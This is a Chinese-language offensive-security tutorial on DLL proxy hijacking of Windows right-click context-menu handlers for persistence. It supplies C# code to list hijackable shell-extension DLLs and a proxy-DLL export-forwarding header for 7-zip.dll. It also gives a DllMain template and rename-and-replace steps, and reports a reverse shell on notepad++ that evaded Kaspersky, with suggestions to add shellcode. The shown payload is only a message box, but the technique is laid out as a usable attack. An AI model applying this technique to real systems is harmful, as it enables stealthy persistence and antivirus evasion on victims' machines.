DLL代理 如下图,DLL代理是通过创建一个恶意的DLL来替换原有程序的DLL,同时不删除原有程序的DLL,将其重命名。恶意的DLL在被调用的时候会运行恶意的代码功能,并把原有的DLL功能部分转发给原始DLL,这样更好的确保原有程序的功能正常运行且不被迫坏。
右键菜单注册表 注册表路径:HKLM\Software\Classes*\ShellEx\ContextMenuHandlers
利用autoruns
可以查看此注册表路径中加载的DLL文件。
同样也可以对其他自启动注册表里的dll文件进行劫持。
我们可以用C#
实现一个小程序来读取可劫持的DLL。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 using Microsoft.Win32; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace dll { class Program { static void Main(string[] args) { GetKey(@"Software\Classes\*\ShellEx\ContextMenuHandlers\"); } private static void GetKey(string path) { using (RegistryKey key = Registry.LocalMachine.OpenSubKey(path)) { if (key != null) { string[] rk = key.GetSubKeyNames(); foreach (var item in rk) { string value = GetRegistryValue(path + item); string imgpath = GetrootValue(@"CLSID\" + value + @"\InprocServer32\"); if (imgpath != null && imgpath != "") { Console.WriteLine(imgpath); } } } } } protected static string GetRegistryValue(string path) { string value = string.Empty; RegistryKey root = Registry.LocalMachine; RegistryKey rk = root.OpenSubKey(path); if (rk != null) { value = (string)rk.GetValue("", null); } return value; } protected static string GetrootValue(string path) { string value = string.Empty; RegistryKey root = Registry.ClassesRoot; RegistryKey rk = root.OpenSubKey(path); if (rk != null) { value = (string)rk.GetValue("", null); } return value; } } }
创建一个代理的DLL 这里用到一个开源的项目。
https://github.com/rek7/dll-hijacking
生成的definitions.h
1 2 3 4 5 6 7 8 9 10 #pragma once /* 7-zip.dll - 8664 machine (x64) */ #pragma comment(linker,"/export:DllCanUnloadNow=7-zip_.DllCanUnloadNow,@1") #pragma comment(linker,"/export:DllGetClassObject=7-zip_.DllGetClassObject,@2") #pragma comment(linker,"/export:DllRegisterServer=7-zip_.DllRegisterServer,@3") #pragma comment(linker,"/export:DllUnregisterServer=7-zip_.DllUnregisterServer,@4")
替换definitions.h
头文件,作者项目的代码里是用的powershell
来反弹shell。代码好像有点问题,我这里修改代码进行简单的弹框测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include "definitions.h" #include <thread> #include <chrono> #include <random> extern "C" { #include <stdlib.h> #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <ws2tcpip.h> } using namespace std ;#pragma comment(lib,"Ws2_32.lib" ) BOOL WINAPI DllMain ( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { srand(time(NULL )); switch (fdwReason) { case DLL_PROCESS_ATTACH: { MessageBox(NULL , "Zero Team" , "Zero team" , MB_OK); break ; } case DLL_THREAD_ATTACH: break ; case DLL_THREAD_DETACH: break ; case DLL_PROCESS_DETACH: break ; default : break ; } return true ; }
劫持程序右键菜单 编译生成恶意的DLL命名为7-zip.dll
,并将原有DLL改名为7-zip_.dll
。当我们右键单击程序时,即可运行恶意的DLL。
拓展 作者项目里的反弹shell,测试不能成功。我们可以自己用C语言写一个反弹shell的功能,或者加载shellcode。
如下为在装有卡巴斯基的机器上测试劫持notepad++
。成功劫持,并反弹shell,且卡巴斯基未告警。
反弹shell demo流量未加密,最好不要在实战中使用,dll内容可以自己发挥。
Reference https://b.ou.is/articles/2020-03/context-menu-persistance